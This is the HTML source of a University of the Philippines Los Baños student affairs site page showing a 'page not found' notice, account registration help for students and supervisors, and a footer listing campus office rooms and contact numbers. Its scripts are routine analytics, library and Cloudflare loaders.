              <p style="margin: 0 0 12px 0; line-height: 1.6; color: #555; font-size: 13px;">
                New students can register for an OSAM account
              </p>

              

              <div style="background: #f5f5f5; padding: 10px 12px; border-radius: 6px; margin-bottom: 10px;">
                <p style="margin: 0; line-height: 1.5; color: #666; font-size: 14px;">
                  ⏱️ Account confirmation: <strong style="color: #333;">2-3 working days</strong>
                </p>
              </div>

              <div style="background: #fff3cd; padding: 10px 12px; border-radius: 6px; border-left: 4px solid #ffc107;">
                <p style="margin: 0; line-height: 1.5; color: #856404; font-size: 14px;">
                  <strong>⚠️ Important:</strong> Check your <strong>Spam/Junk folder</strong> for the confirmation
                  email!
                </p>
              </div>
            </div>

            <div
              style="background: white; padding: 20px; border-radius: 8px; margin-bottom: 16px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
              <div style="display: flex; align-items: center; margin-bottom: 12px;">
                <i class="material-icons"
                  style="color: #800000; margin-right: 12px; font-size: 24px;">supervised_user_circle</i>
                <h6 style="margin: 0; color: #800000; font-weight: 600; font-size: 15px;">Supervisor Registration</h6>
              </div>

              <p style="margin: 0 0 12px 0; line-height: 1.6; color: #555; font-size: 14px;">
                For SAGA supervisors
              </p>

              <a href="/login/supervisor" class="waves-effect waves-light" style="display: inline-flex; align-items: center; justify-content: center; 
                      background: #800000; color: white; padding: 12px 24px; 
                      border-radius: 6px; text-decoration: none; 
                      box-shadow: 0 2px 4px rgba(128,0,0,0.3); 
                      transition: all 0.3s ease;
                      font-family: 'Roboto', sans-serif; font-size: 14px; font-weight: 500;
                      width: 100%; margin-bottom: 12px;"
                onmouseover="this.style.boxShadow='0 4px 8px rgba(128,0,0,0.4)'; this.style.background='#660000';"
                onmouseout="this.style.boxShadow='0 2px 4px rgba(128,0,0,0.3)'; this.style.background='#800000';">
                <i class="material-icons" style="font-size: 18px; margin-right: 8px;">arrow_forward</i>
                <span>Register Here</span>
              </a>

              <div style="background: #e3f2fd; padding: 10px 12px; border-radius: 6px; border-left: 4px solid #2196F3;">
                <p style="margin: 0; line-height: 1.5; color: #1565c0; font-size: 13px;">
                  <strong>📧 Requirement:</strong> You must use your <strong>@up.edu.ph</strong> email address for
                  registration and verification
                </p>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>

    <div class="col s12 hide-on-med-and-up" style="padding: 0 30px 40px 30px;">
      <div class="divider" style="margin: 20px 0; background-color: #e0e0e0; height: 2px;"></div>

      <div class="icon-block">
        <div class="center" style="margin-bottom: 15px;">
          <i class="material-icons" style="font-size: 42px; color: #800000;">person_add</i>
        </div>
        <h5 class="center upmaroon quicksand" style="font-weight: 600; margin-bottom: 20px; font-size: 1.3rem;">Don't
          Have an Account?</h5>

        <div style="padding: 0 10px;">
          <div
            style="background: white; padding: 16px; border-radius: 8px; margin-bottom: 12px; box-shadow: 0 1px 3px rgba(0,0,0,0.1);">
            <div style="display: flex; align-items: start; margin-bottom: 8px;">
              <i class="material-icons" style="color: #800000; margin-right: 10px; font-size: 20px;">how_to_reg</i>
              <div>
                <p style="margin: 0 0 6px 0; line-height: 1.5; color: #333; font-size: 13px;">
                  <strong style="color: #800000;">New User Registration</strong>
                </p>
                <p style="margin: 0; line-height: 1.5; color: #555; font-size: 12px;">
                  Register at 
                </p>
                <p style="margin: 6px 0 0 0; line-height: 1.5; color: #555; font-size: 12px;">
                  Account confirmation within <strong>2-3 working days</strong>
                </p>
              </div>
            </div>
            <div
              style="background: #fff3cd; padding: 8px; border-radius: 5px; border-left: 3px solid #ff9800; margin-top: 8px;">
              <p style="margin: 0; line-height: 1.4; color: #856404; font-size: 11px;">
                <strong>⚠️ Important:</strong> Check your <strong>Spam/Junk folder</strong> for confirmation email!
              </p>
            </div>
          </div>

          <div
            style="background: white; padding: 16px; border-radius: 8px; margin-bottom: 12px; box-shadow: 0 1px 3px rgba(0,0,0,0.1);">
            <div style="display: flex; align-items: start;">
              <i class="material-icons" style="color: #800000; margin-right: 10px; font-size: 20px;">help_outline</i>
              <div>
                <p style="margin: 0 0 8px 0; line-height: 1.5; color: #333; font-size: 13px;">
                  <strong style="color: #800000;">Account Issues?</strong>
                </p>
                <p style="margin: 0 0 6px 0; line-height: 1.5; color: #555; font-size: 12px;">
                  Visit with valid ID & Form 5:
                </p>
                <ul style="margin: 0; padding: 0; list-style: none;">
                  <li style="margin-bottom: 5px; padding-left: 18px; position: relative; font-size: 12px; color: #555;">
                    <span style="position: absolute; left: 0; color: #800000;">•</span>
                    <strong>OSAM:</strong> Room 7, 2/F SUB
                  </li>
                  <li style="padding-left: 18px; position: relative; font-size: 12px; color: #555;">
                    <span style="position: absolute; left: 0; color: #800000;">•</span>
                    <strong>e-UP/UP Mail:</strong> DIC, 2/F AG Samonte
                  </li>
                </ul>
              </div>
            </div>
          </div>

          <div style="background: white; padding: 16px; border-radius: 8px; box-shadow: 0 1px 3px rgba(0,0,0,0.1);">
            <div style="display: flex; align-items: start;">
              <i class="material-icons" style="color: #800000; margin-right: 10px; font-size: 20px;">support_agent</i>
              <div>
                <p style="margin: 0 0 6px 0; line-height: 1.5; color: #333; font-size: 13px;">
                  <strong style="color: #800000;">Need Help?</strong>
                </p>
                <p style="margin: 0; line-height: 1.5; color: #555; font-size: 12px;">
                  Email: <a href="/cdn-cgi/l/email-protection" style="color: #1a73e8; text-decoration: none; font-weight: 500;"><span class="__cf_email__" data-cfemail="abd9cec8c4c6c6c2df86c2df85dedbc7c9ebdedb85cecfde85dbc3">[email&#160;protected]</span></a>
                </p>
                <p style="margin: 4px 0 0 0; line-height: 1.5; color: #555; font-size: 12px;">
                  Call: <strong>+63 999 221 1484</strong>
                </p>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
  <div class="modal-footer grey lighten-5" style="border-top: 1px solid #e0e0e0;">
    <a href="#!" class="modal-action modal-close waves-effect waves-light btn-flat"
      style="color: #800000; font-weight: 500;">Close</a>
  </div>
</div>
            <br>
        <div id="template-container">
          <div class="container">
	<h5> We can't find what you're looking for. </h5>
	<p> Here are the possible reasons:
			<ul>
				<li>the page was deleted</li>
				<li>the page was renamed</li>
				<li>the page does not exist at all</li>
			</ul>
		The links on the left side should guide you through the OSA website. If you believe that this page should exist, kindly <a href="/contact">let us know.</a> </p>
</div>        </div>
      
    
    <footer class="page-footer" style="background:linear-gradient(90deg, #06473a 0%, #0a613d 100%); color:#fff; padding-top:40px;">
  <div class="container">
    <div class="row" style="display:flex; flex-wrap:wrap;">
      <div class="col l6 s12" style="flex:1; min-width:250px;">
        <div class="sdg-section">
        <img src="/ui/images/sdg/OVCSA_BANNER.png" alt="51supports the United Nations Sustainable Development Goals" class="sdg-banner-img" style="margin-bottom: -5px;">
        <img src="/ui/images/sdg/SDG_BANNER.png" alt="51supports the United Nations Sustainable Development Goals" class="sdg-banner-img">
        <div class="sdg-icons-grid">
          <a href="/stories?category=&sdg=1">
            <img src="/ui/images/sdg/SDG_1.png" alt="No Poverty" title="No Poverty" class="sdg-icon-img">
          </a>
          <a href="/stories?category=&sdg=2">
            <img src="/ui/images/sdg/SDG_2.png" alt="Zero Hunger" title="Zero Hunger" class="sdg-icon-img">
          </a>
          <a href="/stories?category=&sdg=3">
            <img src="/ui/images/sdg/SDG_3.png" alt="Good Health and Well-being" title="Good Health and Well-being" class="sdg-icon-img">
          </a>
          <a href="/stories?category=&sdg=4">
            <img src="/ui/images/sdg/SDG_4.png" alt="Quality Education" title="Quality Education" class="sdg-icon-img">
          </a>
          <a href="/stories?category=&sdg=5">
            <img src="/ui/images/sdg/SDG_5.png" alt="Gender Equality" title="Gender Equality" class="sdg-icon-img">
          </a>
          <a href="/stories?category=&sdg=6">
            <img src="/ui/images/sdg/SDG_6.png" alt="Clean Water and Sanitation" title="Clean Water and Sanitation" class="sdg-icon-img">
          </a>
          <a href="/stories?category=&sdg=7">
            <img src="/ui/images/sdg/SDG_7.png" alt="Affordable and Clean Energy" title="Affordable and Clean Energy" class="sdg-icon-img">
          </a>
          <a href="/stories?category=&sdg=8">
            <img src="/ui/images/sdg/SDG_8.png" alt="Decent Work and Economic Growth" title="Decent Work and Economic Growth" class="sdg-icon-img">
          </a>
          <a href="/stories?category=&sdg=9">
            <img src="/ui/images/sdg/SDG_9.png" alt="Industry, Innovation and Infrastructure" title="Industry, Innovation and Infrastructure" class="sdg-icon-img">
          </a>
          <a href="/stories?category=&sdg=10">
            <img src="/ui/images/sdg/SDG_10.png" alt="Reduced Inequalities" title="Reduced Inequalities" class="sdg-icon-img">
          </a>
          <a href="/stories?category=&sdg=11">
            <img src="/ui/images/sdg/SDG_11.png" alt="Sustainable Cities and Communities" title="Sustainable Cities and Communities" class="sdg-icon-img">
          </a>
          <a href="/stories?category=&sdg=12">
            <img src="/ui/images/sdg/SDG_12.png" alt="Responsible Consumption and Production" title="Responsible Consumption and Production" class="sdg-icon-img">
          </a>
          <a href="/stories?category=&sdg=13">
            <img src="/ui/images/sdg/SDG_13.png" alt="Climate Action" title="Climate Action" class="sdg-icon-img">
          </a>
          <a href="/stories?category=&sdg=14">
            <img src="/ui/images/sdg/SDG_14.png" alt="Life Below Water" title="Life Below Water" class="sdg-icon-img">
          </a>
          <a href="/stories?category=&sdg=15">
            <img src="/ui/images/sdg/SDG_15.png" alt="Life on Land" title="Life on Land" class="sdg-icon-img">
          </a>
          <a href="/stories?category=&sdg=16">
            <img src="/ui/images/sdg/SDG_16.png" alt="Peace, Justice and Strong Institutions" title="Peace, Justice and Strong Institutions" class="sdg-icon-img">
          </a>
          <a href="/stories?category=&sdg=17">
            <img src="/ui/images/sdg/SDG_17.png" alt="Partnerships for the Goals" title="Partnerships for the Goals" class="sdg-icon-img">
          </a>
        </div>
      </div>
        <h5 class="white-text title-header">OSAM System</h5>
        <p class="white-text body-text">
          The 51 Management (OSAM) System is a modernization project of OVCSA. OSAM is an advanced web application with web and mobile components to eradicate the need for students queuing up for services. 51is taking advantage of the benefits of Information Technology to promote students’ academic growth and personal development.
        </p>
      <div style="margin-top:10px;">
        
        
      </div>
      </div>
      <div class="col l6 s12 footer-contact-col">
      <div class="footer-contact-box">
        <h5 class="white-text body-text footer-contact-title">
          For general inquiries, email
          <i class="material-icons footer-contact-icon">arrow_right</i> <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="f39c85908092dd86839f91b38683dd969786dd839b">[email&#160;protected]</a>
        </h5>
        <div class="footer-links-grid">
                      <div class="footer-link-item">
              <strong><span class="white-texts">Mailing Address</span></strong><br>
              <span class="white-texts-p">Room 2, 2/F, Student Union Building, UPLB, Laguna, 4031</span>
            </div>
                      <div class="footer-link-item">
              <strong><span class="white-texts">51 (OVCSA)</span></strong><br>
              <span class="white-texts-p">Room 2 +63 999 221 1484 <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="d6b9a0b5a5b7f8a3a6bab496a3a6f8b3b2a3f8a6be">[email&#160;protected]</a></span>
            </div>
                      <div class="footer-link-item">
              <strong><span class="white-texts">Assistant to the Vice Chancellor for Student Affairs (AVCSA)</span></strong><br>
              <span class="white-texts-p">Room 4 +63 999 221 1484 <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="523d243121337c27223e301227227c3736277c223a">[email&#160;protected]</a></span>
            </div>
                      <div class="footer-link-item">
              <strong><span class="white-texts">Learning Resource Center (LRC)</span></strong><br>
              <span class="white-texts-p">Room 1 +63 995 386 1064 <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="1a766879346f6a76785a6f6a347f7e6f346a72">[email&#160;protected]</a></span>
            </div>
                      <div class="footer-link-item">
              <strong><span class="white-texts">Office of Scholarships and Grants (OSG)</span></strong><br>
              <span class="white-texts-p">Rooms 5 and 6 +63(49) 536-3209 <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="cfa0bca8e1babfa3ad8fbabfe1aaabbae1bfa7">[email&#160;protected]</a></span>
            </div>
                      <div class="footer-link-item">
              <strong><span class="white-texts">Research, Communication and Information Technology (RECOMMIT)</span></strong><br>
              <span class="white-texts-p">Room 7 +63 999 221 1484 <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="552730363a38383c217b202539371520257b3031207b253d">[email&#160;protected]</a></span>
            </div>
                      <div class="footer-link-item">
              <strong><span class="white-texts">Office of Student Activities (OSA)</span></strong><br>
              <span class="white-texts-p">Room 8 +63 999 221 1484 <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="573824367922273b351722277932332279273f">[email&#160;protected]</a></span>
            </div>
                      <div class="footer-link-item">
              <strong><span class="white-texts">Office of Counseling and Guidance (OCG)</span></strong><br>
              <span class="white-texts-p">Room 9 +63 975 019 3583 <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="8be4e8eca5fefbe7e9cbfefba5eeeffea5fbe3">[email&#160;protected]</a></span>
            </div>
                      <div class="footer-link-item">
              <strong><span class="white-texts">International Student Relations (ISR)</span></strong><br>
              <span class="white-texts-p">Room 12 +63 999 221 1484 <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="89e0fafba7fcf9e5ebc9fcf9a7ecedfca7f9e1">[email&#160;protected]</a></span>
            </div>
                      <div class="footer-link-item">
              <strong><span class="white-texts">Student Disciplinary Tribunal (SDT)</span></strong><br>
              <span class="white-texts-p">Room 14 +63 999 221 1484 <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="e0938494ce95908c82a09590ce858495ce9088">[email&#160;protected]</a></span>
            </div>
                      <div class="footer-link-item">
              <strong><span class="white-texts">Office of Student Housing (OSH)</span></strong><br>
              <span class="white-texts-p">Room 15 +63 999 221 1483 <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="214e52490f54514d436154510f4445540f5149">[email&#160;protected]</a></span>
            </div>
                  </div>
      </div>
    </div>
    </div>
  </div>

<div class="footer-warapper" style="position: relative; min-height: 250px; width: 100%; padding: 24px 0 24px 0; margin: 0 auto; display: flex; flex-direction: column; justify-content: center; align-items: center;">
  <img src="/ui/images/footer_background.webp" alt="" 
       style="position: absolute; inset: 0; width: 100%; height: 100%; object-fit: cover; object-position: center 70%; transform: translateX(-30px) scaleX(1.1); z-index: 0; filter: brightness(0.3); pointer-events: none;">
  <div style="position: relative; z-index: 1; width: 100%;">
  <div class="center">
    <div class="container white-text body-text" style="font-size: 1.1rem;">
      <strong>© 2026 Research, Communication, and Information Technology - 51. University of the Philippines Los Baños</strong>
    </div>
  </div>
  <div class="footer-copyright center">
    <div class="row m12" style="display: flex; justify-content: center; font-size: 1.0rem;">
    <div class="col">
      <a href="/page-termsofservice" style="color:#d1d1d1 !important;" onmouseover="this.style.color='#8a1538'"
      onmouseout="this.style.color='#d1d1d1'">Terms of Service</a>
    </div>
    <div class="col body-text">
      <a href="/page-dataprivacy" style="color:#d1d1d1 !important;" onmouseover="this.style.color='#8a1538'"
      onmouseout="this.style.color='#d1d1d1'">Data Privacy</a>
    </div>
    <div class="col body-text">
      <a href="/page-privacy" style="color:#d1d1d1 !important;" onmouseover="this.style.color='#8a1538'"
      onmouseout="this.style.color='#d1d1d1'">Privacy Policy</a>
    </div>
    <div class="col body-text">
      <a href="/page-copyrightandtrademark" style="color:#d1d1d1 !important;" onmouseover="this.style.color='#8a1538'"
      onmouseout="this.style.color='#d1d1d1'">Copyright and Trademark</a>
    </div>
    <div class="col body-text">
      
    </div>
    </div>
  </div>
  </div>
  </div>
</footer>

  </div>

  <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="/ui/js/jquery-3.5.1.js"></script>
  <script src="/ui/js/jquery.min.js"></script>
  <script src="/ui/js/jquery-ui.min.js"></script>
  <script src="/ui/js/jquery.dataTables.min.js"></script>
  <script src="/ui/js/dataTables.buttons.min.js"></script>
  <script src="/ui/js/bootstrap-tour-standalone.min.js"></script>
  <script src="/ui/js/html2canvas.min.js"></script>
  <script src="/ui/js/ajaxupload.min.js"></script>
  <script src="/ui/js/materialize.min.js"></script>


  <script>(function (i, s, o, g, r, a, m) { i['GoogleAnalyticsObject'] = r; i[r] = i[r] || function () { (i[r].q = i[r].q || []).push(arguments) }, i[r].l = 1 * new Date(); a = s.createElement(o), m = s.getElementsByTagName(o)[0]; a.async = 1; a.src = g; m.parentNode.insertBefore(a, m) })(window, document, 'script', '//www.google-analytics.com/analytics.js', 'ga'); ga('create', 'UA-47862395-1', 'auto'); ga('send', 'pageview');</script>
  <script src="/ui/js/init.js"></script>
  <script src="/ui/js/script.js"></script>


  <link rel="stylesheet" href="/ui/css/toastui-calendar.min.css" />
  <script src="/ui/js/toastui-calendar.min.js"></script>

  <script src="/ui/js/moment.min.js "></script>


  
<script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'9e6a2982385f04ba',t:'MTc3NTI0MTIxMQ=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body>

</html>